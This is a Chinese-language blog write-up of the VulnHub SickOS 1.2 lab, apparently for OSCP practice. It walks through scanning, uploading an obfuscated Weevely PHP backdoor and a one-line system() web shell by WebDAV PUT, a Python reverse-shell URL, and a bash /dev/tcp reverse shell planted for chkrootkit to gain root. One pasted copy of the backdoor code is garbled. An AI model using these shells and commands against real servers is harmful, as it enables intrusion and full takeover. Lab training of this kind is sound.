

OSCP - SickOS:1.2 writeup

原创

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订阅专栏

主机来源: www.vulnhub.com

下载地址: <https://download.vulnhub.com/sickos/sick0s1.2.zip>

用到的知识点:

PUT上传

chkrootkit提权

发现IP

安装成功后, 查找此虚拟机的IP, 我使用的是netdiscover

```
Currently scanning: Finished! | Screen View: Unique Hosts
7 Captured ARP Req/Rep packets, from 5 hosts. Total size: 420
-----
IP                At MAC Address      Count  Len  MAC Vendor / Hostname
-----
10.0.3.1          00:50:56:c0:00:08   1      60  VMware, Inc.
10.0.3.2          00:50:56:ff:6c:8b   1      60  VMware, Inc.
10.0.3.137        00:0c:29:19:7b:cf   2     120  VMware, Inc.
10.0.3.144        00:0c:29:29:79:13   1      60  VMware, Inc.
10.0.3.254        00:50:56:e9:d9:be   2     120  VMware, Inc.
```

IP为10.0.3.144

nmap

```

root@kali4:~# nmap -sV -p- 10.0.3.144
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-15 01:25 EDT
Nmap scan report for 10.0.3.144
Host is up (0.00038s latency).
Not shown: 65533 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     lighttpd 1.4.28
MAC Address: 00:0C:29:29:79:13 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.31 seconds
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```

没啥开的端口，从80开始，扫下目录，发现test目录，然后发现有PUT方法

```

root@kali4:~/mytools# curl -X OPTIONS -v http://10.0.3.144/test
* Trying 10.0.3.144:80...
* TCP_NODELAY set
* Connected to 10.0.3.144 (10.0.3.144) port 80 (#0)
> OPTIONS /test HTTP/1.1
> Host: 10.0.3.144
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Location: http://10.0.3.144/test/
< Content-Length: 0
< Date: Wed, 15 Apr 2020 06:57:09 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 10.0.3.144 left intact
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```

上传

利用weeveily来生成一个木马文件，weeveily是kali中的PHP菜刀

```

root@kali4:~/mytools# weeveily generate aaa exp.php
Generated 'exp.php' with password 'aaa' of 771 byte size.
root@kali4:~/mytools# cat exp.php
<?php
$l='bas6.e646._d6.ocode($m[1]),$6.k));$6.o=@ob_6.6.g6.et_contents(6.6.);@ob6._end_clean';
$Q='nts("/6./input"6.6.),$m)=1)6. {@ob_s6.tart();@e6.val(@6.g6.zuncomp6.6.ress(@x(@';
$u='{$j}6.);}re6.turn $o;}6.if (6.@preg_ma6.tch("6./$kh(.6.+) $kf/",@f6.file_get_con6.6.te';
$w='( );6.$r=@base6.66.4_enc6.ode(@x(@gzcomp6.66.($o),$k));pri6.nt("$p6.$6.kh$r$kf");}';
$h=str_replace('Cg',' ','cCgrCgeatCge_fCgCguCgnction');
$Z='$k="6.476.bce5c76.";$kh="4f6.589f46.866.7db";$kf="d576.6.e9ca9f806.8";$p=6."NMZK6.2KP6V2';
$D='Dz6.BA46.o";f6.uncti6.on x($t,$k){$6.c=strlen(6.$k);$l=st6.rle6.n($t6.);$o="6.";for(';
$B='$i=06.;$i<6.$l){6.fo6.r($j=0;($6.j<$c&&$i6.<$l);$6.j6.+6.+$i6.++){6.o.=6.$6.t{$i}^$k';
$p=str_replace('6.','',$Z.$D.$B.$u.$Q.$l.$w);
$a=$h('',$p);$a();
?>
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```

```
PUT /test/1shell.php HTTP/1.1
Host: 10.0.3.144
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 761

<?php
$a=$k="47r.bce5c7";r.$r.kr.r.h="4f589f4r.867db";$k="d57er.9ca9f808r."r.;$p="3Dstr.ctr.gUCHr.MS3Gr.r.2!";function n x;
$q=str_replace("Qb",";crQbQbeatQbe_fuQbncQbQbtion);
$r=:t_cor.ntents(r.:@ob_end_cler.an();$r=@basr.e64_er.ncr.odr.er.(@xr.(@gzcr.ompress($o)r.,$k))r.;print("$p$kh$r$kf"););
$B=($t,$k){$c=r.sr.trlen($k);$l=r.str.rlen($t);$r.or=""};for.r($ir.=0;$i<$l.r.);{for($j=0r.);$j<$r.c&r.&$i<r.$i);$j+r.+$i;
$p='put"r.',$m)r.r.==1)
{(@r.ob_start():@er.r.valr.(@gzuncompr.r.rer.ss(@x(@basr.e64_decoder.($m[1]),$k)r.r.);$o=@or.b_ger;
$t=++r.){$o=r.$r.{$i)r.^$k{$j};}}rer.tur.r.m $o;}if (@pr.r.reg_mr.atc("/$kh(+)$kf"/,r.@fr.ile_get_contr.ents(r.r."php://in;
$i=str_replace(r.',$a.$B.$t.$p.$r);
$H=$q("$i);$H0;
?>
```

```
HTTP/1.1 201 Created
Content-Length: 0
Connection: close
Date: Wed, 15 Apr 2020 08:53:50 GMT
Server: lighttpd/1.4.28

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```

连接

```
root@kali4:~/mytools# weeveily http://10.0.3.144/test/1shell.php aaa

[+] weeveily 4.0.1

[+] Target:      10.0.3.144
[+] Session:    /root/.weeveily/sessions/10.0.3.144/1shell_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weeveily>
```

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或者直接用curl命令来上传一个小马

```
curl -v -X PUT -d '<?php system($_GET["c"]); ?>' http://10.0.3.144/test/22.php
```

客户端监听，nc -nlvp 443

curl或者浏览器中访问

```
http://10.0.3.144/test/22.php?c=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket%28socket.AF_
```

获得shell

提权

利用chkrootkit提权

写入文件

```
printf '#!/bin/bash\nbash -i >& /dev/tcp/10.0.3.141/443 0>&1\n' >> /tmp/update
```

```
$ printf '#!/bin/bash\nbash -i >& /dev/tcp/10.0.3.141/443 0>&1\n' >> /tmp/update
```

等待，获得root

```
root@kali4:~# nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.3.141] from (UNKNOWN) [10.0.3.144] 51790
bash: no job control in this shell
root@ubuntu:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~# ls
ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
Wow! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!. https://blog.csdn.net/Jiajiajiang_
```

为什么用443，是因为一般防火墙策略会只开很少的端口

```
root@ubuntu:~# /sbin/iptables -L
/sbin/iptables -L
Chain INPUT (policy DROP)
target      prot opt source                destination           tcp dpt:ssh
ACCEPT      tcp  --  anywhere              anywhere              tcp dpt:http
ACCEPT      tcp  --  anywhere              anywhere              tcp spt:http-alt
ACCEPT      tcp  --  anywhere              anywhere              tcp spt:https

Chain FORWARD (policy ACCEPT)
target      prot opt source                destination

Chain OUTPUT (policy DROP)
target      prot opt source                destination           tcp spt:ssh
ACCEPT      tcp  --  anywhere              anywhere              tcp spt:http
ACCEPT      tcp  --  anywhere              anywhere              tcp dpt:http-alt
ACCEPT      tcp  --  anywhere              anywhere              tcp spt:https https://blog.csdn.net/Jiajiajiang_
```